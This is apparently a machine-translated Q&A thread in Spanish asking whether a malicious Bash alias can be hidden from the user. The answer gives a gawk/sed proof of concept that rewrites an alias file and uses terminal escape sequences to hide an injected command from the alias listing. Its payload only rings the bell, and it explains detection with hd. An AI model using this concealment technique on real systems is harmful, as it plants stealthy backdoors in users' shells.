¿Es posible ocultar un alias malicioso en Bash en Linux?

9

¿Es posible ocultar la existencia de un alias malicioso en Bash en un sistema Linux y que el usuario lo ejecute sin su conocimiento?

Pausado hasta nuevo aviso.
fuente

Respuestas:

13

Es posible hacerlo agregando el alias existente al malicioso y usando el movimiento del cursor para ocultarlo si el aliascomando se usa para mostrar las definiciones de alias. No es un método perfectamente infalible, pero puede pasar desapercibido por un tiempo. Tuberías aliasa través de hdle mostrará si hay secuencias de escape (de movimiento del cursor) en sus alias. Aquí hay una prueba de concepto de cómo se puede insertar un comando malicioso en un alias:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • El sedcomando modifica un archivo llamado "alias" en su lugar: un script real de este tipo iría a la garganta y modificaría un archivo de script real para que el alias malicioso se activara la próxima vez que se ejecute.
  • La parte maliciosa de este ejemplo solo toca el timbre de la terminal para que sepa que está funcionando.
  • El comando que originalmente tiene un alias se ejecutará con el contenido de hidecomo argumento, por lo que es posible que pueda obtener un error similar al que se informa en esta pregunta . Es posible revertir las partes originales y maliciosas para afectar esto, aunque esto interferiría con los argumentos que se proporcionan al alias. Se realiza un intento en el script anterior para marcar el final de los argumentos con --.
  • En lugar de encadenar las piezas originales y maliciosos con &&, usted podría tubería de uno a otro y hacer que el script malicioso (representado anteriormente mediante el simple echocomando) funcionan como un stdina stdoutpaso a través ya sea para modificar los datos a medida que está pasando a través o para ocultar su existencia adicional al no interferir con otra redirección
  • Otra posibilidad sería incluir el alias original dentro del script malicioso que podría eliminar la cadena de movimiento del cursor de la lista de argumentos y pasar el resto al original.
  • Elegí arbitrariamente los registros 3 y 4, un código más inteligente podría apuntar a alias particulares, pero deben ser adyacentes (o el movimiento del cursor podría hacerse más complejo).
  • La hidecadena podría modificarse para incluir diferentes movimientos del cursor y el texto del alias original para que el aliascomando parezca mostrar el alias no modificado en lugar de ocultarlo junto con la parte maliciosa.
  • Para probarlo tal como está escrito, debe tener al menos cuatro alias activos, ejecutar este script y luego obtener el archivo resultante . aliases. Luego puede intentar usar el alias afectado y ver cómo se ve cuando lo hace alias|hd.
  • Indudablemente, esto podría reescribirse cien maneras diferentes, todo mejor.
  • ¿Cuán realista es este tipo de amenaza? No tengo idea Pero si puedo hacerlo ...
Pausado hasta nuevo aviso.
fuente